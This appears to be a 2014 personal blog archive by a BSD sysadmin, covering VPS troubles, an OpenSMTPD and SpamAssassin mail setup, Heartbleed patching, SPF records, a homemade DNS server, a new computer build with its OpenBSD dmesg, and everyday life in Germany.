I dropped the bomb on OpenBSD by publically announcing a program on a mailing
list that at least in my case puts OpenBSD in an infinite loop. I
reproduced this condition on another platform today and here is the console output:
So I want to say I'm sorry publically on my blog. I don't know what I was
thinking, but I was stressed that my VPS was constantly in this condition,
and having to ask the admin of the VPS host to reset my VPS puts strain on
everyone. I just hope someone at OpenBSD can fix this because I can't,
I lack the skill, and it seems to be a difficult spot where this infinite
loop is played out.
Purchased new iTunes Album
January 31st, 2014
I have decided to spend money on 1 album a month on itunes. So last month
I got Gappy Ranks - Shining hope and for the month of february I got
Morgan Heritage - Here comes the kings. I like reggae music!
OS Changes, back
February 4th, 2014
Americas.centroid.eu is really unstable with OpenBSD, and I can't really afford
it being down all the time. I'm going to put FreeBSD 10.0-RELEASE on it
starting tomorrow, hoping FBSD will have a bit more stability. I'm going to
have to port the mps software to FreeBSD... ouch.
After a long downtime my VPS americas is back
February 11th, 2014
After failing to install FreeBSD 10 on virtualbox (it cored in the installer)... I have requested a jail vps (basic plan) from hub.org. It took a few days
but we're back online (for the blog at least). I'm very happy about this.
I'm back running wildcarddnsd on the basic plan vps and I don't know why I
had disabled it in the past, I can't remember. We'll have to see.
New naming scheme after planets
February 12th, 2014
I have 1 planet left to name, and that'll happen soon after the month of
march. And then I'll be naming hosts after the greek alphabet. This will
give me 24 possible names. I have a png from wikipedia here:
This is in my plans.
Security can be about Incentives
February 12th, 2014
Basically if the governments want a secure infrastructure they could
offer incentives for companies to act accordingly. How does the
government do that? By giving away money, for free, given a set of
conditions.
Pretend the incentive is set for secure email in that the provider
encrypts per SSL in and outgoing email, that's worth some money.
If the provider also encrypts mailboxes that are used to store your
mail so that even the administrators would be penalized in time if they
snooped that would be another set of duckets.
If the provider installs anti-spoof filters, that's another incentive
to give them money. And deflection attacks would be minimized. You
can go further, VPN exchanges could be set up which are like Internet
exchange points but they only pass ESP and IKE/Oakley. Networks that
are interested in attaching to these exchange points will have to
"peer" with their peers by exchanging crypto certificates and then
their traffic is encrypted over the exchange point.
What else can you do, governments could offer money incentives for people
programming in secure Open Source software, and money incentives for
people providing right patches to fix mistakes. An entire community of
security professionals could thus in a non-binding manner make their
living. It's an open market, no deadlines but no bullshit.
Think about it Mr. Politician.
SVPRadio.COM did get Media attention in 2012
February 13th, 2014
I recently found this article at googling for
SVP Radio. Probably missed by many as it was new years, but worth the read
anyhow. I was silly last night listening on SVP Radio until 4AM! Good times!
svpradio.com.
Happy Valentines day!
February 14th, 2014
I got a new book for Valentines day. Written in the german language it is
"Peer-to-Peer-Netzwerke" (P2P Networks) by Peter Mahlmann and Christian
Schindelhauer. I have read a little bit in this book already and think it
was worth the buy.
OpenSMTPD on FreeBSD with SpamAssassin
February 15th, 2014
Today the spam got to me in such a way that I wanted to try out a spam filter.
I decided to work with spamassassin because I've never tried it before.
SpamAssassin is a perl script that uses Bayesian filters to mark/tag a mail
as spam when a certain score is reached.
So what I did was first bring my FreeBSD's mail jail up to speed. A
portupgrade -af put everything installed from /usr/ports to the latest
version.
Next I installed /usr/ports/mail/p5-Mail-SpamAssassin, I selected to not
run as root which was recommended for some reason. Then I played a bit
with amavisd and couldn't figure it out. Next I tried spampd which uses
spamassassin and it worked right away. With a few tests I installed a new
opensmtpd (which isn't the latest in the ports, I compiled it from an old
snapshot, beware) configuration file and I'll share it with you:
listen on 10.3.2.1 port 25 tls certificate mail.solarscale.de auth-optional
listen on 2a01:4f8:d13:1980::25 port 25 tls certificate mail.solarscale.de auth-optional
listen on 127.0.0.1 port 10025 tag DESPAMMED
table aliases db:/usr/local/etc/aliases.db
table users db:/usr/local/etc/smtpusers.db
max-message-size 90000000
accept tagged DESPAMMED for domain "centroid.eu" virtual deliver to mbox
accept tagged DESPAMMED for domain "galileo.solarscale.de" virtual deliver to mbox
accept tagged DESPAMMED for domain "solarscale.de" virtual deliver to mbox
accept tagged DESPAMMED for domain "io.solarscale.de" virtual deliver to mbox
accept tagged DESPAMMED for domain "amdeutschhof.de" virtual deliver to mbox
accept tagged DESPAMMED for domain "virgostar.net" virtual deliver to mbox
accept for local alias deliver to mbox
# domains in order
accept from any for domain "galileo.solarscale.de" alias relay via smtp://127.0.0.1:10024
accept from any for domain "centroid.eu" virtual relay via smtp://127.0.0.1:10024
accept from any for domain "solarscale.de" virtual relay via smtp://127.0.0.1:10024
accept from any for domain "io.solarscale.de" virtual relay via smtp://127.0.0.1:10024
accept from any for domain "amdeutschhof.de" virtual relay via smtp://127.0.0.1:10024
accept from any for domain "virgostar.net" virtual relay via smtp://127.0.0.1:10024
accept for any relay
And then in spampd I had the following config as read from /etc/rc.conf
That was all I had to do. I've run a thousand test mails and have watched
mail come in, the highest score I got was 3.4 out of 5.0, so not quite spam.
But i'm sure I'll get a spam mail one of these days...
New Computer, the decision factor
February 18th, 2014
In 2 months I'm buying a new computer. I plan on gathering a list on what
I want and then ask a computer store to put it together for me. That's how
I did Jupiter (computer) last. This new computer will be named Mercury.
So far I have gathered these links:
Now this selection leaves a few questions. I know the Xeon is more powerful
than the Core i7, and I don't need a graphics chip so I'll probably go with a
Xeon. But is this CPU compatible with the SABERTOOTH mainboard I do not know.
I've found a site that says they work together but that some functionality of
the Xeon don't work. My question is.. would that make it more unstable? As
far as storage and video card is concerned; I'll be reusing my SSD from
Jupiter and also the graphics card, although when these people build my new
Mercury I'll ask them to put an AMD/ATI card in there.
Mercury will be running the OpenBSD Operating System natively just like
Jupiter did. I'm gonna try to put 32 GB of RAM in there. Jupiter only had
8 GB. Well here's to planning this computer. OBTW if I didn't get OpenBSD
on the thing I'd try Linux or buy a Mac.
My Apartment: Year 1
February 19th, 2014
On February 13th, 2013 I moved in here.
I don't regret moving here at all. It's a nice place. The setup that you see
in the photo is pretty well what it is now, sans the G4 Cube which has been
donated to the OpenBSD Project. Anyhow...
Upgraded my FritzBox Repeater 300E
February 20th, 2014
AVM the manufacturer of routers and networking gear has provided a fix on
most of its products against a root-exploit. My AVM Repeater 300E was also
affected so I flashed its firmware. It took me 30 minutes after that trying
to figure out why my network didn't work anymore. Turns out that the upgrade
changed the MAC address of the repeater and network nodes behind it and I
used static permanent ARP on my OpenBSD router. Hence nothing worked until
I deleted the arp entry and updated it with a new one.
Win for the Consumer in Germany
February 25th, 2014
Consumers who have been locked in by their ISP to use a certain router don't
have to comply to this anymore. Apparently the Bundesnetzagentur has made it
law starting today that "Routerzwang" is not legal anymore. This is a win for the consumer in my eyes. Those
ISP's that don't give up access data to their users are making themselves
liable to be sued.
Purchased Reggae for March
February 26th, 2014
Two Albums because it's my birthday mid month. I have purchased:
Lutan Fyah - Life of a King
Queen Ifrica - Penthouse Flashback Series
Ok I'm going to listen to these now...on random.
First of March
March 1st, 2014
While officially still winter until the 20th, March here in Germany will
bring us spring weather soon. I already exchanged winter coat for spring
jacket last week. Is this a winter to remember? We had 2 snow days this
winter season! I don't know and I think I'll forget about this winter
next winter. Hopeing for a bit of snow. I'm attaching my 4 seasons
picture I made a few years ago.
How should we punish aggressors?
March 2nd, 2014
As I don't like politics too much I'll keep it short. Currently Ukraine
is in crisis. It is my opinion that Russia is an aggressor. In my view
the only way to de-conflict this is to put UN policing in Crimea. Preferably
from South America as Russia would not want a NATO country that close probably.
I fear we may see the second iron curtain fall. And this shifts the ordering
of the world once more. If the European Union protests by buying less
natural gas it puts pressure on Russia. But we'd be screwed in Germany with
our Energiewende ideal. Less natural gas would mean the nuclear power plants
may live longer than we wanted. Keep thinking of Chernobyl though! It's a
giant risk! And we should speed up the Energiewende at once, in order to have
better odds down the road.
I will think of the Ukraine and give hope. Hope for a resolution! At the same
time I hope for being worry free from war, we don't need war in Europe again!
Peace!
Ordered two books from Amazon
March 3rd, 2014
I have ordered:
SQL Cookbook - Gennick, Jonathan
Redis in Action - Carlson, Josiah L.
I'm hoping to get more insights in these two databases.
What happened to *REAL* technical support?
March 4th, 2014
I have trouble getting IPv6 with my OpenBSD router through my provider. With
an AVM router I was able to get it but not with OpenBSD, so I asked my provider:
My question:
Ist die IPv6 implementierung die M-net benutzt irgendwo beschrieben? Seit ich
meinen router ausgetauscht habe bekomme ich kein IPv6 mehr und will mich da
reinarbeiten.
ISP's answer:
An Ihrem Anschluss wird noch eine IPv4 vergeben. Eine IPv6 ist offiziell nur mit
unseren neuen Vertr?gen m?glich.
Sie k?nnen allerdings nach dem Benutzernamen das @v6.mnet-online.de hinzuf?gt.
Bitte beachten Sie, dass wir zu dieser M?glichkeit keinen Support anbieten
k?nnen. Hierbei handelt es sich um das damalige IPv6 Testsystem. Auch muss Ihr
Router IPv6 f?hig sein.
My second attempt
Ja das ist es. Nur es spricht nicht v6 ?ber das PPPoE. K?nnen Sie mir sagen
welches protokoll benutzt wird um die IPv6 configuration auszutauschen? Welche
standarden oder protokolle die in RFC's stehen benutzt werden?
ISP's answer:
IPv6 ist das Protokoll. Ein IPv6 f?higer Router sollte mit dem genannten Zusatz,
die Verbindung aufbauen k?nnen. Wie bereits mitgeteilt, k?nnen wir hierf?r
keinen Support geben oder Informationen zur internen Infrastruktur.
Sorry for the german, there is no translation. This conversation was akin to
talking to a dead doorknob anyhow. What happened to RFC slinging technologists? They are not at my ISP unfortunately!
Viewable starsky tonight
March 8th, 2014
There is a bit of foggy skies but other than that I was able to see the
following: sirius, orion, gemini, jupiter centered in gemini between castor
and pollux and just as much below them as that distance, auriga and what
seemed to be the half moon in taurus, but i'd have to confirm that. I also
saw ursa major on the other side of the house. It's a pity I couldn't get
a picture, but I know now that on march 8th at 9:08PM the starsky is visible
with those constellation towards the west.
March Equinox in 1 Week
March 13th, 2014
If you celebrate the
equinox
then you have one week to get ready. It is on thursday, march 20th.
Happy Pi day!
March 14th, 2014
Happy Pi day. Although it's an american date format, we should be able to
celebrate it worldwide. 03.14.14, just wait until next year it'll be more
accurate at 03.14.15.
The case with consumer routers
March 14th, 2014
Consumer routers are inherently bad. Brands like AVM, D-Link, Speedport and
Linksys come to my mind. AVM and D-Link recently had a security warning and
those people using those routers should update their firmware. So what do I do?
Well I'm somewhat in the same position as everyone else. I use an AVM router
for LTE internet and I have a homebrew solution for my DSL connection.
I'd like to talk about this. I use a Soekris firewall for my DSL connected to
an allnet dumb DSL modem. The soekris costs around 500 euros so it's not
exactly cheap, but it gives freedom. You can run Linux, FreeBSD, NetBSD and
OpenBSD
on these and keep those operating systems up to date when patches come out.
I view this as more stable and having more functionality than consumer routers.
Other brands for similar routers are Alix, Lanner and Axiomtek. These are
usually Atom based and have quite a bit of CPU power. And for all these
there is ongoing support in the individual open source movements. However you
do have to learn a little about firewalls (Pf for instance) to be able to
restrict incoming traffic and do NAT. I often wonder why not more people are
going this route.
I suspect we'll always have consumer routers pop up with
problems until they are gotten rid of once and for all, because what does
Internet mean to you? Is it worth 500 euros for a router and having peace of
mind or is it worth just another throw-away product with a 29.95 a month
Internet plan? Where is the seriousness there? And why are you using online
banking with these? I don't use online banking btw. I've outlined options
in this article for people to consider, but everyone make up your own minds.
As the world turns
March 19th, 2014
Currently there is world events noone foresaw just a few months ago. I'm
considering letting my VPS in Hong Kong expire as the route to there may
cross Russia's links. Before I was actually happy to take a non-NSA
controlled route given the Snowden revelations. Now I may even consider
a new VPS in the empire itself. Who knows, I'll make preparations for a
new VPS in August at the latest. The VPS in HK had to be refurbished anyhow
as it's running FreeBSD 8.4, moving the entire thing somewhere else may be
just as much effort.
Spring has sprung!
March 20th, 2014
Today is the first day of spring. In about 6 hours as I write this is the
equinox, precisely at 16:57 UTC according to wikipedia. Happy spring! Good
bye winter!
I hunt Sysadmins
March 21st, 2014
"There's a man with a gun over there, Telling me I got to beware..", maybe
these are familiar lyrics to you. They are from
Buffalo Springfield.
I kinda feel like this when I read this
article. It's about the NSA
and similar secret services targetting sysadmins.
Not to get all frantic or anything.. why us? The reason is quite clear though.
Then the other question is "who will protect us?" or "who watches the watchers?". Is it just doomed fate for every sysadmin to lose their cools and spend time
in a mental institution? Because Internet warfare has casualties one might
guess.
americas.centroid.eu upgraded to FreeBSD 10
March 26th, 2014
If you've experienced this blog not being reachable you could have tried:
emea.centroid.eu
ap.centroid.eu
to get the latest. But the commenting system was off. My VPS provider has
now upgraded the jails to FreeBSD 10.0 and that included fixing my vps up.
It took a day to get most things back in order.
Scaling back on donations this year
March 27th, 2014
I've become aware that I'm making a lot less than before because I'm getting
paid in Canadian Dollars. This forces me to spend less and the first to go
is donations. Mainly OpenBSD, I'm possibly going to give 50 euros more to
make it 250 euros donated this year. FreeBSD will possibly not get a penny.
This is also because I'm upset they changed their donor listings. Sorry.
If you're interested in the CADEUR trend check this yahoo.com currency
calculator. Right now the CADEUR went up, but it's a long cry from
May 2013 as seen on the 1 year range. C'mon CAD gain strength! And it
would be nice if the euro was a bit weaker.
Oculus Rift, too bad
March 27th, 2014
Since May 15th, 2013 I've been writing about Oculus Rift. They've been
aquired by Facebook. Too bad. I'm off their mailing list now and won't
be all that interested anymore.
My C Primer hits 30,000 views
March 30th, 2014
In March 2014 my C Primer hit 30,000 views. It has slowed down a little bit.
January 2008, first draft
November 22, 2011 hits 10,000 views
November 10, 2012 hits 20,000 views
March 2014 hits 30,000 views
Thanks to all my readers who may also read my blog.
The C Primer is found here.
I'm getting serious about new PC now...
March 30th, 2014
Intel Xeon E3-1280v3 CPU
32 GB RAM (non-ECC) (Corsair?)
ASUS Z87WS Mainboard
650 Watt S.V. (Coolermaster?)
160 GB SSD (Intel)
Radeon Graphic Card
Blu Ray Disc Rewriter (LG?)
Computer case + keyboard
That's what I collected so far, next week I'm going to get a cost estimate.
Pre-Ordered OpenBSD 5.5
March 31st, 2014
From OpenBSD Europe. This year puffy is
not wrapping back in time. The release song is found
here. Thanks OpenBSD!
Happy 5th Anniversary Centroid.EU Blog!
March 31st, 2014
Although belated I'd like to make you aware that we surpassed the blogs 5th
Anniversary on January 16th, 2014. Although the articles are missing until
May 2009, they were once there. I had expired these but kept their article
titles
here.
The blog was always like a public diary to me. I just am not important enough
to write about cool topics that are/aren't directly mine. Oh well. The
history of centroid.eu is longer than even this though, but this is the
longest I had centroid.eu in one piece. It expired once even before that,
but before that I was going through some hard times and the seriousness of the
blog wasn't there. Now it's pretty serious stuff IMO. I like writing in this
blog and I hope to be writing for another 5 years in 2019! See you then!
Good Weather ahead?
April 2nd, 2014
I turned the heat off here at home, so I'm hoping the weather doesn't get
cold again. Last year I spent over 8000 KWh's and 80% for heating. Not ideal
but perhaps the price in electricity will drop with all these "green" wind
turbines and solar panels. Next year I'll spend less money on electricity
as I'll heat my home a little less, it was too warm occasionally in my
apartment last year.
In other news the local nuclear power plant Grafenrheinfeld has announced that
it will shut its operation in May 2015. The reason they are saying this is
that it is unable to compete on the energy market and it's not worth it any
more. I think this is good news. I've been against this nuclear power
plant almost since it began operation,
see here..
Where would you hide?
April 4th, 2014
In nature there is always threats. I recently watched a documentary this
weekend about the
Great Dusky Swift which hides and sleeps behind waterfalls. This is a
natural safe haven for the bird species, pretty ingenious.
In the mid 1990's I played a online BBS game called tradewars, where players
trade, steal, and destroy each other. It was ANSI based and I even later
attempted at creating a helper program for this at
twh.centroid.eu, the helper sucks but
what my favourite strategy was in that game was to check if a robot planet
named ferrengal was cutting off the entrance to a tunnel sector. If yes then
I'd shoot a photon torpedo into ferrengal to stun it and quickly move past it
into this tunnel. Here I could build my home planets and have a safe haven
to sleep. It was much like the Great Dusky Swift of south america chosing to
sleep behind a waterfall.
I wonder what the future holds, are wormholes possible? And if so can one
create a wormhole that is a sock? ie. it has no end? If that were possible
then hiding in such a stretch of space-time would be like putting on a cloak.
Spaceships that may come from other galaxies to study us may hide inside these
"socks" and not worry about being seen at all. It is almost like hiding
behind a waterfall... :-) in space.
Heartbleed, my story.
April 8th, 2014
A new 0-day vulnerability is making the rounds
.
The vulnerability works on both clients (Mozilla Firefox for instance) and
servers (mail, web or anything that uses SSL/TLS with heartbeats). I saw
some strangeness in my OpenBSD laptop on console as I was shutting it down,
but luckily I have sandboxed the firefox to another user so it appeared to me
like a permission denied error. It's possible someone wanted to read my
$HOME/.ssh/id_rsa* files, this is why I implemented the running as another
user in the first place.
So as mitigation I have applied patches to my OpenBSD workstations. Also I
have turned off opensmtpd on my panama VPS which does a backup MX function.
Until I have that fixed (possibly with help of the hoster) it won't be turned
on again. All other versions of OpenSSL that I use are not affected.
My new Computer is ordered
April 11th, 2014
I have ordered my new computer today, this computer I'll call mercury.
It came to 1429 euros, which I had budgetted above.
Wildcarddnsd has a YACC parser now!
April 13th, 2014
Yesterday before going to bed I committed my YACC parser for wildcarddnsd.
Wildcarddnsd is my authoritative DNS Server that I programmed, it had a
sloppy C based parse program before that. The YACC parser is great, I took
parts from OpenSMTPD project and have thus added their license to the top of
it (with my name added of course). The YACC parsing was mostly done by
myself and the lex & yacc O'Reilly book that I had for at least a decade now.
It should be noted that it took me 1 year almost to write this YACC file, I
didn't work hard on it, but the logic of YACC did stall me at times.
So what's next for wildcarddnsd? I hope to be committing more YACC in the
following months before the 0.9 BETA (should be in november). What we need
is a way to put commandline options into the configfile, which is really
simple now. Thanks for reading! :-) I'm pretty happy.
Wildcarddnsd now has configuration file options
April 15th, 2014
Not long after the YACC file was finished I have given the configuration file
options that were only in the command line before. So I have moved these
over. Here a small excerpt from the commit log message:
This took me one hours to program approximately. The yacc configuration is
great!
All my domains now have spf records
April 18th, 2014
I couldn't deliver to gmail anymore today. I think my parents spammed some
day. Or someone with my identity from another server? After I had installed
an spf record in the DNS system (TXT RR spf1) gmail would take my mail on
again. This is what my SPF record looks like from the dns query program dig:
Any other than these IPv4 and IPv6 networks will get a softfail from now on.
Probably a 4XX reply and no mail delivered. It's funny that gmail requires
spf records now?
SPF support in wildcarddnsd
April 21st, 2014
Happy Easter! I have programmed SPF support into wildcarddnsd just now.
I hope I won't be leaving any easter eggs behind but if I do it's possibly
pasted from the TXT functions, since SPF is TXT with a different RR# (99).
I'll be moving this into production any time now.
Mercury (Computer) has arrived!
April 22nd, 2014
Here is the first pictures (more to follow)...
I am very proud right now :-).
More pictures of Mercury (Computer)
April 22nd, 2014
Here is more snapshots of Mercury, before I turn it on.
These were all made with my iPod.
Mercury (Computer) OpenBSD dmesg
April 23th, 2014
I paniced a little last night. OpenBSD in -current out of the box with no
patches isn't ready for it yet. Luckily an OpenBSD developer helped me with
patches that made the wd0 drive (in IDE mode) work. Here then is a patched
dmesg:
OpenBSD 5.5-current (GENERIC.MP) #0: Wed Apr 23 10:04:36 CEST 2014
pjp@jupiter.centroid.eu:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 34006806528 (32431MB)
avail mem = 33092829184 (31559MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.7 @ 0xe9950 (91 entries)
bios0: vendor American Megatrends Inc. version "1504" date 10/04/2013
bios0: ASUS All Series
acpi0 at bios0: rev 2
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP APIC FPDT LPIT SSDT SSDT MCFG HPET SSDT SSDT BGRT
acpi0: wakeup devices PXSX(S4) RP01(S4) PXSX(S4) RP02(S4) PXSX(S4) RP03(S4) PXSX
(S4) RP04(S4) PXSX(S4) RP05(S4) PXSX(S4) RP06(S4) PXSX(S4) RP07(S4) PXSX(S4) RP0
8(S4) [...]
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpimadt0 at acpi0 addr 0xfee00000: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.71 MHz
cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 102MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.2.4, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,\
SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,\
LAHF,ABM,PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 4 (application processor)
cpu2: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 0, core 2, package 0
cpu3 at mainbus0: apid 6 (application processor)
cpu3: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu3: 256KB 64b/line 8-way L2 cache
cpu3: smt 0, core 3, package 0
cpu4 at mainbus0: apid 1 (application processor)
cpu4: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu4: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu4: 256KB 64b/line 8-way L2 cache
cpu4: smt 1, core 0, package 0
cpu5 at mainbus0: apid 3 (application processor)
cpu5: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu5: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu5: 256KB 64b/line 8-way L2 cache
cpu5: smt 1, core 1, package 0
cpu6 at mainbus0: apid 5 (application processor)
cpu6: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu6: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu6: 256KB 64b/line 8-way L2 cache
cpu6: smt 1, core 2, package 0
cpu7 at mainbus0: apid 7 (application processor)
cpu7: Intel(R) Xeon(R) CPU E3-1275 v3 @ 3.50GHz, 3604.30 MHz
cpu7: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,\
PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,\
MWAIT,DS-CPL,VMX,SMX,EST,TM2,SSSE3,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,\
x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,LONG,LAHF,ABM,\
PERF,ITSC,FSGSBASE,BMI1,HLE,AVX2,SMEP,BMI2,ERMS,INVPCID,RTM
cpu7: 256KB 64b/line 8-way L2 cache
cpu7: smt 1, core 3, package 0
ioapic0 at mainbus0: apid 8 pa 0xfec00000, version 20, 24 pins
acpimcfg0 at acpi0 addr 0xf8000000, bus 0-63
acpihpet0 at acpi0: 14318179 Hz
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 5 (RP01)
acpiprt2 at acpi0: bus 6 (RP03)
acpiprt3 at acpi0: bus 7 (RP06)
acpiprt4 at acpi0: bus 8 (RP08)
acpiprt5 at acpi0: bus 1 (PEG0)
acpiprt6 at acpi0: bus -1 (PEG1)
acpiprt7 at acpi0: bus -1 (PEG2)
acpiec0 at acpi0: Failed to read resource settings
acpicpu0 at acpi0: C1, PSS
acpicpu1 at acpi0: C1, PSS
acpicpu2 at acpi0: C1, PSS
acpicpu3 at acpi0: C1, PSS
acpicpu4 at acpi0: C1, PSS
acpicpu5 at acpi0: C1, PSS
acpicpu6 at acpi0: C1, PSS
acpicpu7 at acpi0: C1, PSS
acpipwrres0 at acpi0: FN00, resource for FAN0
acpipwrres1 at acpi0: FN01, resource for FAN1
acpipwrres2 at acpi0: FN02, resource for FAN2
acpipwrres3 at acpi0: FN03, resource for FAN3
acpipwrres4 at acpi0: FN04, resource for FAN4
acpitz0 at acpi0: critical temperature is 105 degC
acpitz1 at acpi0: critical temperature is 105 degC
acpibat0 at acpi0: BAT0 not present
acpibat1 at acpi0: BAT1 not present
acpibat2 at acpi0: BAT2 not present
acpibtn0 at acpi0: PWRB
acpibtn1 at acpi0: LID0
acpivideo0 at acpi0: GFX0
acpivout0 at acpivideo0: DD1F
cpu0: Enhanced SpeedStep 3604 MHz: speeds: 3501, 3500, 3300, 3100, 2900, \
2700, 2500, 2300, 2100, 2000, 1800, 1600, 1400, 1200, 1000, 800 MHz
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel Xeon E3-1200 v3 Host" rev 0x06
ppb0 at pci0 dev 1 function 0 "Intel Core 4G PCIE" rev 0x06: msi
pci1 at ppb0 bus 1
ppb1 at pci1 dev 0 function 0 vendor "PLX", unknown product 0x8747 rev 0xba
pci2 at ppb1 bus 2
ppb2 at pci2 dev 8 function 0 vendor "PLX", unknown product 0x8747 rev 0xba: msi
pci3 at ppb2 bus 4
ppb3 at pci2 dev 16 function 0 vendor "PLX", unknown product 0x8747 rev 0xba: msi
pci4 at ppb3 bus 3
vga1 at pci0 dev 2 function 0 "Intel HD Graphics P4600" rev 0x06
intagp0 at vga1
agp0 at intagp0: aperture at 0xe0000000, size 0x10000000
inteldrm0 at vga1
drm0 at inteldrm0
error: [drm:pid0:i915_write32] *ERROR* Unknown unclaimed register before writing to 100000
inteldrm0: 1920x1080
wsdisplay0 at vga1 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
azalia0 at pci0 dev 3 function 0 "Intel Core 4G HD Audio" rev 0x06: msi
azalia0: No codecs found
"Intel 8 Series xHCI" rev 0x05 at pci0 dev 20 function 0 not configured
